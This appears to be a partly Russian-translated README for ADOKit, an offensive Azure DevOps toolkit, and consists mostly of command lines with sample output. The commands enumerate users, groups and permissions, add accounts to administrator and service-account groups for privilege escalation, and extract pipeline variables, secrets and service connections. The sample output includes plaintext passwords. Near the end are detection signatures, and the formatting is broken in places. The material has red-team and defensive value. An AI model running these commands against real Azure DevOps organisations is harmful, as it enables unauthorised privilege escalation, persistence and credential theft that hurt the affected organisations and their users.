C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"
==================================================
Module: getteammembers
Auth Type: API Key
Search Term: dev team
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 10:45:11 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Username | User Display Name
-------------------------------------------------------------------------------------------------------------------------------------------------------
Dev Team | [email protected] | User 1
Dev Team | [email protected] | user3
Dev Team | [email protected] | user4
Вывод списка групп в экземпляре Azure DevOps
Укажите модуль listgroup, а также соответствующую информацию для аутентификации и URL. Это выведет имя участника-пользователя, отображаемое имя и описание группы.
ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: listgroup Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
[TestProject]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users | Project-Scoped Users | Members of this group will have limited visibility to organization-level data
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds. [MaraudersMap]\Readers | Readers | Members of this group have access to the team project. [YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection. [MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team. [TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only. [YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group. [TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
---SNIP---
4/3/23 20:48:46 Finished execution of listgroup
### Поиск групп
#### Пример использования
> *Поиск указанной группы (групп) в экземпляре Azure DevOps*
#### Синтаксис
Укажите модуль `searchgroup` и критерии поиска в аргументе командной строки `/search:`, а также соответствующие данные аутентификации и URL. Будет выведено имя участника-пользователя, отображаемое имя и описание для найденной группы.
`ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"`
`ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"`
#### Пример вывода```
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"
==================================================
Module: searchgroup
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:48:41 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
[TestProject]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[TestProject2]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
[ProjectWithMultipleRepos]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
[TestProject]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
4/3/23 20:48:42 Finished execution of searchgroup
Перечислить всех участников группы для указанной группы
Укажите модуль getgroupmembers и группу (группы), которые вы хотите найти, в аргументе командной строки /group:, а также соответствующую информацию об аутентификации и URL. Будут выведены имя участника-пользователя (UPN) соответствующей группы, а также каждый участник этой группы, включая почтовый адрес и отображаемое имя пользователя.
ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"
ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"
C:>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"
================================================== Module: getgroupmembers Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Group | Mail Address | Display Name
[TestProject2]\Build Administrators | [email protected] | User 1
[TestProject2]\Build Administrators | [email protected] | User 2
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | Ron Smith
[TestProject2]\Project Administrators | [email protected] | User 1
[TestProject2]\Project Administrators | [email protected] | User 2
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[ProjectWithMultipleRepos]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Build Administrators | [email protected] | Brett Hawkins
4/4/23 13:11:09 Finished execution of getgroupmembers
### Получить разрешения проекта
#### Вариант использования
> *Получите список тех, у кого есть разрешения на данный проект.*
#### Синтаксис
Укажите модуль `getpermissions` и проект, который вы хотите найти в аргументе командной строки `/project:`, вместе с соответствующей информацией для аутентификации и URL. Это выведет имя участника-пользователя, отображаемое имя и описание для соответствующей группы. Кроме того, будут выведены участники группы для каждой из этих групп.
`ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"`
`ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"`
#### Пример вывода```
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpermissions
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 9:11:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Project Valid Users | Project Valid Users | Members of this group have access to the team project.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.
[*] INFO: Listing group members for each group that has permissions to this project
GROUP NAME: [MaraudersMap]\Build Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Contributors
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Contributors | [email protected] | User 1
[MaraudersMap]\Contributors | [email protected] | User 2
GROUP NAME: [MaraudersMap]\MaraudersMap Team
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\MaraudersMap Team | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Valid Users
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Readers
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Readers | [email protected] | John Smith
4/4/23 13:11:18 Finished execution of getpermissions
Добавить пользователя в группу администраторов проекта для указанного проекта.
Укажите модуль addprojectadmin вместе с /project: и /user: для добавления указанного пользователя в группу Project Administrators для данного проекта. Кроме того, укажите соответствующую информацию об аутентификации и URL. См. Таблица сведений о модуле для получения сведений о разрешениях, необходимых для выполнения этого действия.
ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: addprojectadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | User 1
4/4/23 18:52:47 Finished execution of addprojectadmin
### Удалить администратора проекта
#### Сценарий использования
> *Удалить пользователя из группы администраторов проекта для указанного проекта.*
#### Синтаксис
Укажите модуль `removeprojectadmin` вместе с `/project:` и `/user:` для удаления пользователя из группы `Администраторы проекта` для указанного проекта. Кроме того, укажите любую соответствующую информацию аутентификации и URL. См. [Таблицу сведений о модулях](#module-details-table) для получения информации о разрешениях, необходимых для выполнения этого действия.
`ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### Пример вывода```
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removeprojectadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:19:43 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
4/4/23 19:19:44 Finished execution of removeprojectadmin
Добавить пользователя в группу администраторов сборки для указанного проекта.
Укажите модуль addbuildadmin вместе с /project: и /user: для указанного пользователя, которого нужно добавить в группу Build Administrators для данного проекта. Кроме того, укажите любую соответствующую информацию об аутентификации и URL. Смотрите Таблицу сведений о модулях для получения информации о разрешениях, необходимых для выполнения этого действия.
ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
C:>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: addbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[MaraudersMap]\Build Administrators | [email protected] | User 1
4/4/23 19:41:55 Finished execution of addbuildadmin
### Удаление администратора сборки
#### Вариант использования
> *Удалить пользователя из группы Администраторы сборки для указанного проекта.*
#### Синтаксис
Предоставьте модуль `removebuildadmin` вместе с `/project:` и `/user:` для заданного пользователя, которого нужно удалить из группы `Build Administrators` указанного проекта. Кроме того, предоставьте любую соответствующую информацию об аутентификации и URL. См. [Таблица сведений о модулях](#module-details-table) для получения сведений о разрешениях, необходимых для выполнения этого действия.
`ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### Пример вывода```
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removebuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:42:10 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/4/23 19:42:11 Finished execution of removebuildadmin
Добавить пользователя в группу Администраторы коллекции проектов.
Укажите модуль addcollectionadmin вместе с /user: для данного пользователя, которого нужно добавить в группу Project Collection Administrators. Кроме того, укажите любую соответствующую информацию аутентификации и URL. См. Таблицу сведений о модулях для получения информации о разрешениях, необходимых для выполнения этого действия.
ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[YourOrganization]\Project Collection Administrators | [email protected] | User 1
4/4/23 20:04:43 Finished execution of addcollectionadmin
### Удаление администратора коллекции
#### Сценарий использования
> *Удаление пользователя из группы администраторов коллекции проектов.*
#### Синтаксис
Укажите модуль `removecollectionadmin` вместе с `/user:` для заданного пользователя, которого нужно удалить из группы `Project Collection Administrators`. Кроме того, укажите соответствующие данные аутентификации и URL. См. [таблицу сведений о модулях](#module-details-table) для получения информации о разрешениях, необходимых для выполнения этого действия.
`ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Пример вывода```
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 4:10:35 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
4/4/23 20:10:38 Finished execution of removecollectionadmin
Добавить пользователя в группу администраторов сборки коллекции проектов.
Укажите модуль addcollectionbuildadmin вместе с /user: для пользователя, который будет добавлен в группу Project Collection Build Administrators. Дополнительно укажите соответствующую информацию аутентификации и URL. Смотрите Таблицу сведений о модулях для получения информации о разрешениях, необходимых для выполнения этого действия.
ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Build Administrators | [email protected] | User 1
4/5/23 12:21:42 Finished execution of addcollectionbuildadmin
### Удаление администратора сборки коллекции
#### Вариант использования
> *Удалить пользователя из группы «Администраторы сборки коллекции проектов».*
#### Синтаксис
Укажите модуль `removecollectionbuildadmin` вместе с параметром `/user:` для пользователя, которого следует удалить из группы `Project Collection Build Administrators`. Также укажите соответствующие данные аутентификации и URL. Смотрите [Таблицу деталей модуля](#module-details-table) для получения информации о необходимых разрешениях для выполнения этого действия.
`ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Пример вывода```
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:21:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:02 Finished execution of removecollectionbuildadmin
Добавить пользователя в группу «Учетные записи служб сборки коллекции проектов».
Укажите модуль addcollectionbuildsvc с параметром /user: для добавления заданного пользователя в группу Project Collection Build Service Accounts. Дополнительно укажите соответствующую информацию для аутентификации и URL. См. Таблицу сведений о модулях для получения информации о разрешениях, необходимых для выполнения этого действия.
ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionbuildsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Build Service Accounts | [email protected] | User 1
4/5/23 12:22:15 Finished execution of addcollectionbuildsvc
### Удаление учётной записи службы сборки коллекции
#### Вариант использования
> *Удалить пользователя из группы «Учётные записи службы сборки коллекции проектов» (Project Collection Build Service Accounts).*
#### Синтаксис
Укажите модуль `removecollectionbuildsvc` с параметром `/user:` для заданного пользователя, которого необходимо удалить из группы `Project Collection Build Service Accounts`. Кроме того, укажите соответствующие данные аутентификации и URL. См. [Таблицу сведений о модулях](#module-details-table) для получения информации о разрешениях, необходимых для выполнения этого действия.
`ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Пример вывода```
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:22:27 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:28 Finished execution of removecollectionbuildsvc
Добавить пользователя в группу Project Collection Service Accounts.
Предоставьте модуль addcollectionsvc вместе с параметром /user: для указанного пользователя, которого нужно добавить в группу Project Collection Service Accounts. Кроме того, укажите соответствующую информацию об аутентификации и URL. См. Таблицу сведений о модулях для получения информации о разрешениях, необходимых для выполнения этого действия.
ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
C:>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
[YourOrganization]\Project Collection Service Accounts | [email protected] | User 1
4/5/23 15:21:04 Finished execution of addcollectionsvc
### Remove Collection Service Account
#### Вариант использования
> *Удаление пользователя из группы Project Collection Service Accounts.*
#### Синтаксис
Предоставьте модуль `removecollectionsvc` вместе с `/user:` для заданного пользователя, которого нужно удалить из группы `Project Collection Service Accounts`. Также укажите соответствующую информацию для аутентификации и URL. См. [Таблицу сведений о модулях](#module-details-table) для получения информации о правах, необходимых для выполнения этого действия.
`ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Пример вывода```
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 11:21:43 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
4/5/23 15:21:44 Finished execution of removecollectionsvc
Извлечение всех переменных конвейера, используемых в проекте(ах), которые могут содержать учетные данные или другую полезную информацию.
Укажите модуль getpipelinevars вместе с /project: для заданного проекта, чтобы извлечь используемые переменные конвейера. Если вы хотите извлечь переменные конвейера из всех проектов, укажите all в аргументе /project:.
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
================================================== Module: getpipelinevars Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Pipeline Var Name | Pipeline Var Value
credential | P@ssw0rd123!
url | http://blah/
4/6/23 16:08:36 Finished execution of getpipelinevars
### Получить секреты конвейеров
#### Вариант использования
> *Извлекает имена любых секретов конвейеров, используемых в проекте(ах), что укажет оператору, где следует попытаться выполнить извлечение секретов.*
#### Синтаксис
Предоставьте модуль `getpipelinesecrets` вместе с аргументом `/project:` для конкретного проекта, чтобы извлечь имена любых используемых секретов конвейеров. Если вы хотите извлечь имена секретов конвейеров из всех проектов, укажите `all` в аргументе `/project:`.
`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### Пример вывода```
C:\>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpipelinesecrets
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/10/2023 10:28:37 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build Secret Name | Build Secret Value
-----------------------------------------------------
anotherSecretPass | [HIDDEN]
secretpass | [HIDDEN]
4/10/23 14:28:38 Finished execution of getpipelinesecrets
Извлечение любой группы переменных и соответствующих переменных, используемых в проектах, которые могут содержать учетные данные или другую полезную информацию.
Укажите модуль getvariablegroups вместе с /project: для заданного проекта, чтобы извлечь используемые группы переменных. Если вы хотите извлечь группы переменных из всех проектов, укажите all в аргументе /project:.
ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getvariablegroups /credential:"ABC123" /url:https://dev.azure.com/YourOrganization /project:"ADOKit"
================================================== Module: getvariablegroups Auth Type: Cookie Project: ADOKit Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Variable Group Name | Variable Name | Variable Value
real-test-variables | test_password | BurpIsNotBeef
real-test-variables | test_user | nicolas
fake-prod-variables | SUPERSECRET | [HIDDEN]
fake-prod-variables | SUPERNOTSECRET | ThisShouldBeSecured :/
### Получить служебные подключения
#### Вариант использования
> *Вывести список всех служебных подключений, используемых в проекте(ах), что укажет оператору, где следует попытаться извлечь учетные данные для этих подключений.*
#### Синтаксис
Укажите модуль `getserviceconnections` вместе с аргументом `/project:` для конкретного проекта, чтобы вывести список используемых служебных подключений. Если требуется вывести подключения из всех проектов, укажите `all` в аргументе `/project:`.
`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### Пример вывода```
C:\>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getserviceconnections
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/11/2023 8:34:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Connection Name | Connection Type | ID
--------------------------------------------------------------------------------------------------------------------------------------------------
Test Connection Name | generic | 195d960c-742b-4a22-a1f2-abd2c8c9b228
Not Real Connection | generic | cd74557e-2797-498f-9a13-6df692c22cac
Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | 5665ed5f-3575-4703-a94d-00681fdffb04
Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | df8c023b-b5ad-4925-a53d-bb29f032c382
4/11/23 12:34:16 Finished execution of getserviceconnections
Ниже приведены статические сигнатуры для конкретного использования этого инструмента в его состоянии по умолчанию:
{60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}
ADOKit-21e233d4334f9703d1a3a42b6e2efd38
ADOKitUsage.json - Обнаруживает использование ADOKit с любым аудируемым событием (например, добавление пользователя в группу)PersistenceTechniqueWithADOKit.json - Обнаруживает создание PAT или SSH-ключа с помощью ADOKitДля получения рекомендаций по обнаружению техник, используемых инструментом, см. whitepaper от X-Force Red.
https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops| Сценарий атаки | Модуль | Особые разрешения? | Примечания |
|---|
| Разведка | check | Нет | |
| Разведка | whoami | Нет | |
| Разведка | listorgs | Нет | |
| Разведка | listrepo | Нет | |
| Разведка | searchrepo | Нет | |
| Разведка | listproject | Нет | |
| Разведка | searchproject | Нет | |
| Разведка | searchcode | Нет | |
| Разведка | searchfile | Нет | |
| Разведка | listuser | Нет | |
| Разведка | searchuser | Нет | |
| Разведка | listteam | Нет | |
| Разведка | searchteam | Нет | |
| Разведка | getteammembers | Нет | |
| Разведка | listgroup | Нет | |
